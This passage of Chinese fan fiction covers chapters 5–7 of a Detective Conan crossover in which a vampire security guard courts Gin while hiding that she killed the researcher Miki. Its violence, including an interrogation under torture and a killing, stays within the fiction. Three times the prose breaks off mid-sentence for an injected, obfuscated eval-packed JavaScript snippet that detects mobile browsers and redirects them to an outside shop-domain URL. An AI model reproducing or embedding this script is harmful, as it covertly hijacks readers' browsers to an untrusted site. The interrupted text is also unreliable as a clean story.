“下班后坐绿川前辈的车一起去池袋吃饭,吃完饭绿川前辈就送我回了我住的公寓,然后我就没有再出门了。” 男人没有说话,手指仍旧在一下下敲着保险栓,似乎并不相信她的话。 玖兰尤雅想了想,又问:“那个……我看今天三木先生没来上班,是出什么事了吗?” 男人看了一眼身边的小弟,小弟便推了推墨镜说:“那家伙失踪了。” “欸?失踪了?” 一副不可置信的样子,玖兰尤雅茫然地问道:“那他现在……” “我们还在调查,”小弟说,“锥生……尤雅小姐是吧,你真的不知道三木的去向吗?” “是啊,”她无辜地点了点头,“我和三木先生也就一起吃个午饭的关系,平时除了吃饭时间也没有什么交流。” “可我怎么听说,你们两个在交往?” 银发男人点了一支烟,慢条斯理地抽了一口,完全无视了周围的禁烟标识。 “我再给你最后一次机会,告诉我三木去了哪里。” “我真的不知道。”玖兰尤雅摇了摇头,“您在这里这样问我,不是证明你还没有掌握决定性证据吗?您不告诉我详情的话,我又怎么知道我该给您提供什么信息呢?” 她这波反客为主倒是令银发男人冷笑了一声。 “大哥……”小弟看向他。 “告诉你也无妨,”那双隐藏在帽檐阴影下的绿色眸子盯着她,仿佛是荒原上的狼,已经锁定了自己的猎物一般。 “那家伙偷走了研究所的资料,打算在歌舞伎町去找人交易……那是他最后一次出现。”一旁的小弟扔出一张照片,拍到玖兰尤雅面前,“摄像头拍到了他是和另一个人一起去的,不是你还是谁?大哥的耐心有限,你最好老实交代。” “我们的关系还没有好到要一起大半夜去喝酒吧?”她瞥了一眼照片,摄像头只拍到了三木身旁不远处的衣角,这都在她的计算范围内。 于是玖兰尤雅又开口:“确定这不是路人的衣服吗?” “三木用的可是你的门禁权限,这点你有什么要解释的吗?” “我不知道。”玖兰尤雅说,“周末的门禁我没有带在身上,说不定是遗落在哪里被他捡到顺手用了吧,这个我承认是我的问题,求你们不要开除我。” 周五晚上研究所内也没有摄像头拍到她,她可以将事情全部嫁祸到三木身上,完全地……滴水不漏。 之后那两个人又问了她一些问题,她都如实回答了。 见从她这里问不出什么,那两人便让她离开。 玖兰尤雅想了想,说:“我还有个事情要补充。” 男人抬眼看着她。 玖兰尤雅无视了指着自己脑门的枪,笑着站起身朝着对面的银发男人自信伸手: “我对您一见钟情了,可以请您和我结婚吗?” “……” 完全没料到是这样发展的小弟愣了愣,却见自己的大哥抬起了头,冷笑了一声。 …… 诸伏景光还等在外面的走廊上,见玖兰尤雅完好无损地出来,他看起来像是松了一口气。 “吓到你了吗?他们没有为难你吧?” “没有。” 玖兰尤雅做出噤的姿势,示意诸伏景光这里不是说话的地方,诸伏景光一想也是,在下一个人进入那个审讯室前,他带着玖兰尤雅来到了研究所外面。 这里没有监控。 “三木的事情你别放在心上,我可以为你作证的,你不用害怕,Gin只会对有嫌疑的人更敏感。” 见玖兰尤雅一直沉默不语,诸伏景光还以为她是被吓到了,于是这么安慰她,却见她脸上不仅没有害怕的表情,反而是一副对他的话相当感兴趣的样子。 “Gin?是那个人的名字么?就是那个银发的?” 玖兰尤雅诡异的兴奋让诸伏景光有些没反应过来,于是便愣愣地点了点头。 “和Scotch一样,Gin也只是那个人……在公司的工作代号而已,因为公司很大,所以有时候会有姓氏重合的情况发生嘛,这个时候就需要代号了……”他想了想又补充,“那个人是不会轻易放弃调查的这件事情的……不过这件事和我们没什么关系,追究责任也不会追究你的,放心。” “啊……好的,谢谢你——那他的本来的名字是什么?” 姓名重合到需要用代号区分吗?都是酒的名字,还挺有意思的。 玖兰尤雅原本以为会是什么非常大众的姓氏,却没想到诸伏景光说不知道。 “大家都是这么称呼他的,总之……不用太过在意,也不要再问其他人了。”似乎并不想让玖兰尤雅知道太多,于是诸伏景光停下了这个话题。 代号啊……真名又是什么呢? 玖兰尤雅满脑子都是哪个人类那一头飘逸的银色长发,还有周身那股冰冷又危险的气息……这令她浑身上下的细胞都忍不住兴奋地颤抖,以至于刚压下去的那股饥渴感又冒了头。 玖兰尤雅已经很多年没有体会过这种感觉了……这种久违了的饥渴感(字面意义上的),就好像那个人的存在只为了她。 所以前辈的警告她压根就没听进去。 这场审讯一直持续到了深夜。 研究所里的气压低得可怕,即便这件事和自己没有关系,但人人自危的氛围还是令所有人恐慌。 谁都知道,那个Gin出现的地方一定不会发生什么好事。 但玖兰尤雅不知道。 她还坚守在自己的岗位上,或许是为了让她安心又或者是别的什么,诸伏景光在这里一直陪她留到现在。 直到Gin双手插着口袋潇洒地走到研究所的大堂,她的保安房间外。 玖兰尤雅见状连忙出来迎接。 没等她开口说什么,男人便先一步走了出去。 “在我查清楚这件事是谁干的之前,”Gin在门口处回过头,淡淡地撂下了话,“就连蚊子都不许从这里放出去。” “Scotch……”他看向诸伏景光,剩下的话并未说完。 这个瞬间,玖兰尤雅听到了身边诸伏景光一窒的呼吸。 “是。” 等那两个人走了,诸伏景光才松了一口气。 玖兰尤雅看得出来他有些害怕那个银发男人,害怕那个人本身……还有,更担心被他发现什么,但这些,或许那个银发男人并没有察觉到,介于玖兰尤雅并不了解内情,所以她也只是一副若无其事的样子问诸伏景光: “那个……前辈,我一直有点没搞清楚状况,这家研究所的规格看起来也不是很大,是弄丢了什么极密资料吗?这么大张旗鼓的。” “这个……我很难和你解释。”诸伏景光笑得有些勉强。 他有些犹豫,或许自己一开始他就应该把这里的事情告诉玖兰尤雅的,但出于一些不想让她涉入太深的私心,加上他本身的职责所在,他其实并不想让玖兰尤雅知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496742|202549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道太多。 这段时间里,他之所以这么关心玖兰尤雅,也是确认了她的确和组织毫无关联,完全就是被牵扯进来的普通人。 所以面对玖兰尤雅疑惑的目光,他只能轻咳一声,有些犹豫地开口: “三木盗走了这个研究所里很重要的资料,Gin也只是出于公司安全相关的职责……来检查到底发生了什么,只是这样而已。” “哦,这样啊。” 她点点头,没再问什么。 诸伏景光一直安慰她这件事和她没关系,就算追究责任也是他带着她去吃饭没在岗位上导致的,谁也没想到三木会偷走资料,说不定他是早就计划好了,只是刚好觉得玖兰尤雅是可以利用的人而已。 如果不是知道自己和这件事绝对脱不了干系,玖兰尤雅都差点要被他说服了。 这里所有的一切都没有表面上看起来那么简单……却也绝对不会对她造成困扰。 她唯一的困扰现在除了不想被开除,就是要怎么得到那个人类。 “所以他也算是保安咯?” 这边诸伏景光还在头脑风暴,另一边的玖兰尤雅在思考一番后,又问了个看起来完全不相干的问题。 “某种意义上来说……也算吧。” 诸伏景光突然有种想就在这里抽根烟的冲动。 他摸了摸口袋,扑了个空才想起来自己是几个小伙伴中间唯一不抽烟的那个,但他口袋里以前一直都有烟的。 玖兰尤雅不太能理解身边这个男人脸上那个又哭又笑的表情,只是直觉他好像有点失落,但这也和她没有关系。 她并不是人类,即便混迹人类社会多年,对人类了如指掌,她也做不到去共情人类的情感,理解那些人类的复杂。 …… 第二天天还没亮的时候,Gin就带着人来了研究所。 几个黑衣壮汉将各个楼层围得水泄不通,相当效率地把和三木有关的东西都检查了个遍。 搜查一直持续到了中午。 没人敢说吃午饭这件事,也没有人敢这个时候去触Gin的霉头。 但是玖兰尤雅饿了。 大中午的本来应该是她熟睡的时候,现在却是在这里熬夜,她站在大门口守着大门,有些无奈地看向身边的诸伏景光小声问道: “前辈,我们还要在这里守多久啊?” “应该快结束了吧……” 诸伏景光心里也没有底。 “关于三木先生的细节,还有什么是我不知道的吗?”她问道,“说不定我能想起来一点什么。” 她当然看得出来诸伏景光并不想让她掺和这件事,本来她也可以事不关己高高挂起的,但在看到Gin的时候她改变了想法。 这件事她想掺和,哪怕罪魁祸首可能是她自己。 杀人容易抛尸难……但是在尸体都找不到的情况下,和三木有关的唯一线索就是他盗走的资料。 很可惜,他在想要把那些资料交易出去的时候已经被玖兰尤雅拦截下来了,而且还顺手毁了。 哪怕是玖兰尤雅自己,也不知道那里面装了些什么。 诸伏景光想了想,却还是摇了摇头。 “这件事和你没有关系,你不用掺和,该怎么说就怎么说。” “噢。” 玖兰尤雅表面上还是乖巧地点了点头。 到了下午她困得都要站着睡着了的时候,终于审讯又轮到了她。 还是昨天的那个房间,还是一样的问题。 但当她说到自己的住所时,Gin却朝身边的小弟使了个眼色。 小弟很自觉地拿出了资料。 “我们去那个公寓查过房间,无论是住户还是房东,都没有‘锥生’这个姓氏,你还有什么想说的吗?” Gin的手指有一下没一下地点着桌面,看起来是很有耐心地等她回答。 他是对每一个人都这么有耐心,还是说他心里确实是在怀疑自己呢? 哪怕是帽檐的阴影遮住了他的上半张脸,玖兰尤雅还是看到了他眼睛下淡淡的青黑色。 吸血鬼深黑色的眼里闪过一丝红光,面对Gin的问题,她抬起头,露出了一个灿烂的微笑。 “你和我交往好不好?你答应和我交往我就告诉你。” 5. Chapter.05 在过去与人类的交往中,玖兰尤雅也不是没有见过很难搞定的人类。 那些人类的身份有高有低,高到留在史书上的帝王将相,低到流落街头的艺术家,他们有的充满傲慢,高高在上,有的风情万种,却又高洁如同圣人。 但只要她看上的,最后都会得手。 Gin这个样子的,她也不是没有见过。 因此面对他指着自己的黑洞洞的枪口,玖兰尤雅也一点都没有恐惧。 至于Gin知不知道这个女人很难搞定呢?他当然是知道的。 倒也不是说很难搞定,只是她很明显的并不怕死,是有恃无恐,又或者是因为别的什么? 至少他绝对不会往她是真心想和自己交往这方面去想。 他掐灭了手上的烟,淡淡开口:“可以。” 此话一出,无论是玖兰尤雅还是一旁的小弟都震惊了。 “真的吗?”玖兰尤雅几乎是立刻就双眼放光,甚至双手激动地撑在桌子上,眼睛死死盯着他。 每一个人……被她那双眼睛看着的时候,大概都会觉得,她真的是爱上了她眼里的那个人吧,以至于满心满眼的都是他。 因为那个目光过于纯粹,纯粹到除了爱没有其他。 但就是因为这种纯粹,才让人觉得有些毛骨悚然。 Gin咧着嘴露出标志性的阴森笑容:“交代你知道的,我会考虑这件事。” 与其说是答应交往,更像是在理所当然地进行着交易。 玖兰尤雅:“……” “好吧,就知道没有这么好的事情,”她失望地瘪了瘪嘴,又说,“我什么都不知道哦。” “你这家伙,是在开玩笑吗?”一旁的小弟绷不住了。 Vodka一开始还对玖兰尤雅这个女孩子有点好感的,大概是那张脸实在太漂亮又很有欺骗性,却不想竟是这样的刺头。 居然还要大哥出卖自己才能换到情报,他们什么时候受过这种委屈?Vodka也觉得有些无语。 奈何这次是真的查不到一点可疑的地方。 三木用来copy玖兰尤雅门禁卡的数据他们也搜查到了,甚至找到了三木的接头人,但问题就出在这个玖兰尤雅的身上。 “我们调查过了,你和三木的确一点关系都没有。”Gin淡淡的开口。 “嗯哼。”玖兰尤雅点了点头。 “就算你住在那里,Scotch把你送下车后你完全可以回到研究所吧?” “那个地方和这里隔了十几公里哦,如果我晚上又打车回了这里的话,你们应该也很容易就能调查出来了吧?” 她无奈地耸了耸肩,“其实我刚来东京,无家可归,一直都是住在公园的,前辈对我很好,我不想给他添麻烦,所以才谎称自己住在那边的公寓。” “住在公园?”Vodka震惊了。 “干嘛用那种眼神看着我,我说的是真的。”玖兰尤雅说,“你们完全可以查一下监控的哦。” Gin对着Vodka使了个眼色。 于是小弟只好老老实实地拿出平板,发现玖兰尤雅确实是在下车后径自走到了公园的树林里,并且再也没有出来,监控显示她一直在公园长椅上靠着睡觉。 之前审讯其他人的时候,他们也不是没有问过他们和玖兰尤雅有关的事情。 得到的无一例外都是好评。 不过身为保安的工作本身就是要比所有人来得早,走的也要比所有人晚,晚上下班后竟然还要住在那么远的公园…… Vodka甚至有那么一丝丝不忍。 “大哥,没有问题。”他对着身边的Gin说。 那双绿松石一样漂亮的眼睛危险地眯起。 他的直觉告诉他这件事和玖兰尤雅绝对脱不了干系,但偏偏所有调查到的事实都在说这件事她是完全无辜的。 他思虑了一番,最后收起手上的枪。 “给她在附近的员工宿舍安排个住处。” 于是只留下了这么一句话,便起身打算离开。 “等一下!”玖兰尤雅拦住了他。 她眼巴巴地看着面前的男人,委屈地问道:“那你刚才答应我的事情……” “我不食言。”他说。 于是那一点委屈很快便被欣喜取代。 但Gin却没有再给她多余的眼神,带着小弟拎着军火箱很快地离开了。 随着他们离开,整个研究所内凝滞的空气似乎都轻松了起来。 诸伏景光总算松开了一口气。 他看着从审讯室出来却完全不慌的玖兰尤雅,忍不住问道:“怎么在里面待了这么久?他们没有再为难你吧?” “没有。”玖兰尤雅摇了摇头,打算再把这个小秘密隐藏一下。 于是她说:“他们找不到可疑的证据,就放我离开了。Gin先生人挺好的,还很贴心地给我安排了住处呢,诶,附近的员工宿舍在哪里呀?” 诸伏景光:“……嗯?” * Gin说话算话,效率还很快。 当天玖兰尤雅就收到了消息,说她可以入住最近的员工宿舍。 诸伏景光见状欲言又止,显然他现在再去阻止玖兰尤雅也没有办法了,现阶段把她开除反而会做实了Gin的怀疑,甚至会连累到自己。 而且他也很震惊这个员工宿舍竟然是Gin给玖兰尤雅安排的。 无论是组织里的传闻也好,还是他亲眼见证也好,他虽然对Gin了解的不多,却也知道他绝对不是这么好心的人——至少他是那种不会对非自己嫡系手下这么好心的人。 所以,整件事就变得奇怪了起来。 偏偏出了三木的事情……那家伙至今都还找不到人影,仿佛人间蒸发了一样,他现在只求这件事早点过去,他不知道三木的底细,现阶段也不敢冒险同步公安这个消息。如果三木真的带着组织的秘密消失离开……那他希望那些资料能被公安优先截取到。 “走吧,今天晚上研究所要封闭,我去帮你搬东西。”这么想着,面对看起来很高兴有新住处的玖兰尤雅,他很自然地这么说道。 没想到玖兰尤雅竟然直接拒绝了他。 “没关系的前辈,我刚来东西不是很多,自己很快就能搞定啦。” “那至少让我送你……” “真的不用了,之前一直在麻烦您,前辈这两天也没有好好休息吧?我今晚留在这里守夜就好,前辈回去好好休息。” 见状,诸伏景光也只好放弃。 “那……你有什么事情直接打我电话吧。” 他说完拿出手机,却发现自己根本没有留玖兰尤雅的电话,于是便自然而然地让玖兰尤雅给他手机,他留个电话。 却不想玖兰尤雅沉默了。 “怎么了?” 女孩脸上的表情有些纠结,片刻后她抬起头,戳着手指有些不好意思地开口: “那个……前辈,我没有手机。” 诸伏景光:“……” 很难想象现代人竟然连手机都没有,哪怕是从乡下来,手里至少得有一台手机的吧? 但是玖兰尤雅真的是没有,问她她也只说不小心弄丢了,还没有钱买新的。 无奈,诸伏景光只好又带她去买手机,让她自己挑一台。 见玖兰尤雅选择的还是那种比较旧型号的按键手机,诸伏景光还提醒她可以选更好的,也让她不用担心钱的问题,可以申请报销的。 但玖兰尤雅还是选择了按键手机。 这个女孩子到底是什么家庭啊……明明那天穿来的那件大衣看起来价值不菲…… 他其实没想到玖兰尤雅在领到保安制服的当天,为了防止被找到,就把玖兰枢的大衣烧成了灰。 “谢谢前辈,前辈对我太关照了,我都有些不好意思。” 她捧着手机笑得很真诚。 诸伏景光无奈地叹了一口气。 如果他也有妹妹的话,说不定就像就是像锥生小姐这样的吧……不过有些事情没有如果就是了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496743|202549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>之后他又陪玖兰尤雅去看了分配的员工宿舍房间。 房间里除了一个空荡荡的衣柜外,水电燃气之类的也都可以使用,还有一张小桌子。 和日本一般公寓的配置一样,一样的空荡荡,连床都没有,他下意识地觉得玖兰尤雅会自己置办,于是出于被规训过的边界感,他便没有再提出帮忙置办家具。 因为来到宿舍已经是深夜,所以也不知道采光怎么样,但见玖兰尤雅很满意,立刻将窗帘拉得严严实实,于是诸伏景光也没再说什么,就和她说有什么需要帮忙的随时联络,便离开了。 送走了诸伏景光的玖兰尤雅兴奋地在硬邦邦的地板上滚了滚,又猛地坐起身。 她看着紧闭的大门,嘴角露出了一个玩味的笑容。 “和这里的那些人完全不一样的味道……这种正义的味道,真是有趣。” * 平静的生活持续了一段时间。 玖兰尤雅无比珍惜这样属于一个普通“人类”的日常,到点上班下班,按部就班的生活,这样在人类看来稀松平常,一眼都望得到头的生活,对她而言反倒是一种新鲜的享受。 新鲜的定义是什么呢? 大概是每过个一两百年,就去体验一下完全不同的生活的,所谓新鲜感,在不同的人类国家,不同的时代……不同的阶层。 她可以是强大帝国的将领,妃子,也可以是被记录在油画中参与哲学讨论的学者,有时她又是帮忙在教堂天顶壁画上涂色的学徒,有时她又可以是参与自由起义的革命者之一…… 这样有趣的日子她可以随时凭借自己的兴趣开始,也可以在稍微感到厌烦时随时结束抽身离开。 不过有一点比较令吸血鬼不开心的是,答应了要和她交往的Gin先生,在那天的审讯之后完全不见了踪迹,这里也没有人有他的联系方式。 哪怕是诸伏景光也没有。 玖兰尤雅有种这个人类是不是把自己耍了的挫败感,她甚至在想,等今天雨停了,她就顺着气味去找这个男人算账。 可是雨天会隐藏掉气味,而且本身这么多天过去,那个男人留下的味道就没剩多少了。 就在她合上了书,百无聊赖地数着外面雨滴的时候,黑色的保时捷却出现在了朦胧的雨幕之中。 盛夏傍晚的雨带着潮湿又黏腻的暑气,那个人撑着一把黑色的伞,下了车朝着这边走了过来。 玖兰尤雅转了转眼珠,坏心眼地勾勾手指招来一阵风。 于是那阵风吹起了男人垂落在身后的银发,银发被雨淋湿,他手上的伞却纹丝不动。 等他走到了门口,玖兰尤雅才迎接上去。 “你终于来了,我一直在等你。” 她背着手蹦跳地走过去,然后伸出手一把抱住了刚收起伞的Gin,沾了一身他身上的水汽。 Gin推了推她,没推动。 他几乎是下意识地皱起了眉。 因为他其实不怎么喜欢跟人有肢体接触,而在组织里,除了Vermouth外也没有人有这个胆子和他身体接触。 而且以他的警惕,不可能会让玖兰尤雅就这样轻而易举地接近他的,但事实就这样摆在眼前,他的确是在充满警惕的情况下……让玖兰尤雅近了他的身。 这种感觉很奇怪,也令他心生警惕。 唯独没有一贯的厌烦。 Gin伸手,拖着玖兰尤雅的下巴,撩起她脸上因为拥抱而有些遮住眼睛的碎发——这个动作十分暧昧。 就在玖兰尤雅满脸红晕沉迷享受时,他冷淡地开口。 “晚上有个任务。” 玖兰尤雅抬起头: “嗯?任务?” 戴着黑色皮质手套的手捏起她的下巴,男人的语气里带着一丝嘲弄和危险。 “想要留在我身边,那就我证明你的价值。” “很危险吗?” 他脸上的笑容更甚。 “谁知道呢?” “我身边从来都不是什么安全的地方。” 6. Chapter.06 Gin会这么说,自然是已经把玖兰尤雅有几斤几两打探清楚了。 他消失的这几天的确是在查有关玖兰尤雅的事情,但所有的证据都表示她和这件事最大的联系就在那道不知真假的门禁信息上。 虽说他就算想要把玖兰尤雅处理掉以绝后患——他也有这个权利,也没有人敢质疑他,玖兰尤雅也不是什么重要的角色,他对她也不会产生任何怜悯。 而之所以没有立刻动手,一个是没有确凿的证据(哪怕他不需要),另一个就是,还有一些奇怪的事情要确认一下。 玖兰尤雅的下巴还被男人掐着,她却像只猫一样把下巴整个放在男人手指上,然后颇为无辜地说: “欸,可是我还要看着这里,我还没下班呢。” “你以为你的工资是谁发的?” Gin放开了她,转身便走。 玖兰尤雅站在原地反应了几秒,然后赶紧小跑着跟上。 她殷勤地想给Gin撑伞,却被拒绝了,等她坐上了保时捷的副驾驶,右手边的车门才“砰”地一声关上。 Gin带着一身水汽坐到了副驾驶上,上车后他就给自己点了一根烟。 玖兰尤雅想了想,刚拿出手机准备给前辈发个消息,Gin那边就伸手拿过了她的手机,在看到还是按键手机时,脸上微妙的神色一闪而过。 随即,他在上面按了一串数字,又将手机还给玖兰尤雅。 玖兰尤雅:“这是?” “我的电话。” 他这么主动反倒是把玖兰尤雅整不会了,于是她嘴欠地说了一句:“好,那我要每天给你发短信了。” Gin没接话,既没有答应也没有拒绝,他只是看了玖兰尤雅一眼,又默默地启动了车子。 玖兰尤雅立刻保存号码,还给他改了一个带了一颗爱心的备注。 【Gin?】 黑色的保时捷在东京的大街小巷穿行,最后停到了歌舞伎町一番街外。 雨下得更大了。 夏季的暴雨,只需要一场,就能把所有的痕迹都冲刷得一干二净。 Gin撑着伞,玖兰尤雅挽着他的胳膊,由着他把自己带到了一家酒吧。 酒吧门口挂着大大的“停业中”看板,但Gin直接无视了它,径自推门进去了。 玖兰尤雅看了一眼酒吧的名字,是三木带她来过的这家。 她顿时就明白了Gin的意思。 他查到了这里。 吸血鬼不仅不慌,脸上还露出了那种痴迷却玩味的笑容。 她老老实实地跟着Gin走进酒吧,就看见之前有过两面之缘的小弟坐在酒吧的吧台边。 酒吧的桌子椅子都被撤到了角落,空出来的地面上跪着酒吧的老板。 老板嘴里还塞着一个高脚杯,高脚杯的尺寸刚好得就像卡在嘴里的灯泡一样。 小弟看见了Gin,便连忙迎接上来:“大哥。” Gin微微点了点头。 Vodka看了一眼玖兰尤雅,欲言又止。 Gin既然带来了玖兰尤雅,也就没有避开她的意思,于是便抬手。 “结果。” Vodka这才有些泄气地说:“问了,但是那里是监控死角。” “那就接着问。”Gin也坐到了吧台边的高脚椅上,见状玖兰尤雅想了想,坐在他身边。 “你想喝酒吗?”她看了一眼吧台后面,又看向Gin,“我会调一点。” 听到她的声音,一直低着头装死的酒吧老板猛地抬起头,眼睛死死地盯着她,被高脚杯塞住的嘴巴里发出“唔唔”的声音。 “你这家伙,给我老实点。”Vodka见状便要上手。 “慢着,Vodka,”Gin偏了偏头,“听听他要说什么。” “好的大哥。” Vodka猛地抽出老板嘴里塞的杯子。 玻璃与牙齿摩擦着,发出令人牙酸的搁置声,玖兰尤雅听力好,还听到了伴随着老板喉咙里溢出的惨叫一起的,下巴脱臼的声音。 “咔嚓”一声,Vodka又用及其专业的手法把老板脱臼的下巴接了回去。 这一下几乎是抽干了那个中年老板全身的力气,他还没缓过神来,Vodka的枪口就抵住了他的脑门。 “看来你终于想清楚了?” “她……她……”老板抬起手,颤抖地指着玖兰尤雅。 Gin偏过头去看还在对着吧台后的酒柜一脸兴趣的玖兰尤雅,又看向中年老板: “她有什么问题?” 他干脆利落地抽出口袋里的伯、莱、塔,对准老板时却又调转了方向,指着吧台后的玖兰尤雅。 似乎在说只要老板有证据指控,他的扳机便会毫不犹豫地扣下。 但玖兰尤雅只是微微躬下身,手肘撑在吧台上,手掌拖着脸颊,还主动把脑门往木仓口上凑了凑。 她压低了声音,半眯着眼睛,像一只慵懒的猫。 “下手前你要想清楚哦,是这个中年秃子比较重要,还是我比较重要。” “亲、爱、的。” 最后几个字她说得无比缱绻暧昧,哪怕是一旁站着的小弟,也忍不住侧目了一瞬,感到一阵莫名的毛骨悚然。 就算是他,在面对Gin的伯、莱、塔时也会感到害怕,毕竟这位爷的枪口指着的目标一向随心所欲,似乎敌人和同伴在他眼里都是一样,没有任何区别。 或许还是有区别的——直接挂在他名下的直属手下目前都还活得好好的。 Gin头也没有回,只是嘴角露出一个有些阴森的笑容。 “只有死人才会保守秘密。” “好吧。” 玖兰尤雅不介意体谅一下他的坏脾气和疑心病,因为这样偶尔流露出的危险反而更令她着迷。 她微微眯了眯眼睛,眼底猩红的光芒一闪而过。 于是中年老板正要说点什么的话语瞬间卡了壳,他目眦欲裂地指着玖兰尤雅,却一个字都说不出口了。 他也永远不会开口了。 “大哥,死了。” 小弟检查了一下脉搏,遗憾地摇了摇头。 刚才那个瞬间,这家伙突然就捂着心口,口吐白沫地倒地不起,挣扎没几下就没了呼吸。 小弟忍不住抱怨:“这家伙,心脏病偏偏这种时候发作,真是个倒霉蛋。” “哼,令人不快的家伙。”Gin不满地收回了枪站起身,“倒是省了我们善后。” “那……” “今天只能到此为止了,去挪车。” “好的大哥。” 小弟把车开到了酒吧后门的小巷外。 玖兰尤雅和Gin从居酒屋的后门离开了。 外面还在下雨,身旁的男人身材高大肩膀又宽,比玖兰尤雅高出不少。 不过玖兰尤雅乐意踮起脚着脚给他撑着伞,但Gin似乎有点看不下去她笨拙地抬起手却弄得满身都是水的样子,于是便接过伞柄,微微倾斜了一下撑在她的头顶。 玖兰尤雅似乎愣了愣,但她很快的就立刻反应过来,顺着杆子往上爬地攀上他的手臂。 “咔嚓”。 一声清脆的响声,在轰鸣的雨声中并不明显。 但他还是停下了动作,挪开沾了水的皮鞋,在脚下发现了一个并不明显的金属小物件。 他蹲着身,脱了不方便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496744|202549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手套,无视了有些脏污的地面,将那个小东西捡起。 玖兰尤雅挑了挑眉,为男人的敏锐感到意外,却又有些头疼自己怎么随地乱扔的东西到现在也还没有被环卫工人清理掉。 哦,也许这个肮脏阴暗的小巷子里清洁得并不彻底就是。 玖兰尤雅晃了晃他的手臂,又像只猫一样地撒娇。 “那是什么?你捡起来不觉得脏吗?” Gin看了她一眼,竟然从口袋里拿出一个紫色的手帕,将那个小物件仔细地包好,又擦了擦手,才重新戴上手套揽过她的肩膀。 “老鼠漏下的小东西罢了,哼,没想到竟然在这种地方。” “哦。”玖兰尤雅瘪了瘪嘴,一副对此不感兴趣的样子,眼神飘到了一处角落。 那里还有一丁点沙子,在雨水的冲刷下,很快便流进了下水道,消失得干干净净。 再见,三木先生。 她无声地做着口型,感觉自己藏起来的獠牙又开始蠢蠢欲动起来。 这导致她忍不住又贴紧了男人,狠狠地嗅了一口他的气息,那股糟糕的渴望才慢慢地平复。 Gin看了她一眼,没说什么,只是又收紧了一些手上的力道。 他们并肩走着,与警笛擦肩而过,在磅礴的雨夜中,看起来他们都是彼此间最亲密的爱人。 小弟正坐在驾驶座上等待,见Gin先是撑着伞给玖兰尤雅开了车门,等把人送进后座了,他才收了伞坐上副驾驶。 这一幕相当罕见,以至于小弟有那么一瞬间以为回来的不是他的大哥。 直到Gin把那个破损的小东西拿出来扔给他。 Vodka:“大哥,这是?” “在那家酒吧后面的巷子里找到的,可能藏在哪个角落,这两天下雨冲出来了吧,”他从蛛丝马迹中推断着事情发生的经过,却始终能感觉到一丝微妙的违和感。 既然三木这么费尽心思地把东西拿出来交易,又怎么会轻易把这个东西放在容易被损坏的地方? “拿回去复原一下数据。”他说。 “是。” 小弟不疑有他,盲从大哥的吩咐,将东西小心翼翼地收好放进口袋。 外面的光线稍微亮一些,不过玖兰尤雅还是不能理解这么黑的地方,这个壮硕的小弟竟然还要戴着墨镜。 他是人类诶,真的不会看不清路吗? 但显然她的担忧是多余的。 小弟不仅看得清红绿灯,开车还很稳,不像他的大哥,大白天可能还要在马路上飙车,没被交警找上也是很稀奇。 倒也还有一种可能,正因为他喜欢飙车,所以为了遵守交通规则,才让小弟来开车的。 其中的原因自然只有他本人知道了。 和来时一样,保时捷又把她送回到研究所附近的员工宿舍。 这一片还在下雨,玖兰尤雅下意识地就想问他能不能留下,她好趁他睡觉的时候偷偷吃点。 但下一刻她却又想起自己那个什么都没有的小宿舍,便打消了这个念头。 Gin自然是不知道她那点小心思,而且他也还有事要忙,于是把人送到后便毫不留恋地离开了。 好吧。 玖兰尤雅想,他能把自己送回来已经不错了,至少他没有把她一个人仍在市区淋雨。 她摸了摸自己空空如也的肚子,忍不住感叹自己到底还要饿多久,她快忍不住了,不是都说趁新鲜吃才好吗?万一哪天她失去兴趣了呢? 算了,还是再忍忍吧。 越是忍耐,得手的那一刻就越是美味。 她舔了舔嘴唇,有些眷念自己身上沾染的味道,在挣扎许久后,才念念不舍地去洗澡。 7. Chapter.07 那天晚上之后,日子似乎又回到了正轨,玖兰尤雅又过上了早6晚9的生活。 时间对吸血鬼来说没有具体的意义,但她偶尔还是会因为过于单一的生活而感到些许无聊。 以前也有人说过她是个不安分的主,让她能老老实实地在同一个地方待一百年以上都该感谢始祖庇佑,要是那个家伙看到她现在为了一个人类在老老实实地当保安,恐怕都要惊讶得从棺材里面坐起来吧。 玖兰尤雅朝着自己刘海吹了一口气。 ……不过现在也还没有到无聊得发霉的地步。 就像心中还怀有期待,所以她不会觉得那么难过。 诸伏景光在忙碌了几天时间后,又回到了这里,过上了天天陪她站岗的日子,只是他每次提到要请玖兰尤雅吃饭时,又露出了一些欲言又止的神色。 毕竟之前吃个饭的时间就出了三木的事情。 每到这个时候玖兰尤雅就很体贴地表示自己不能总是薅上司的羊毛,并承诺自己在发工资后再请前辈吃一顿。 诸伏景光也没有拒绝。 他们就像关系很好的同事,一起上班,偶尔又会去摸个鱼,喝个咖啡什么的。 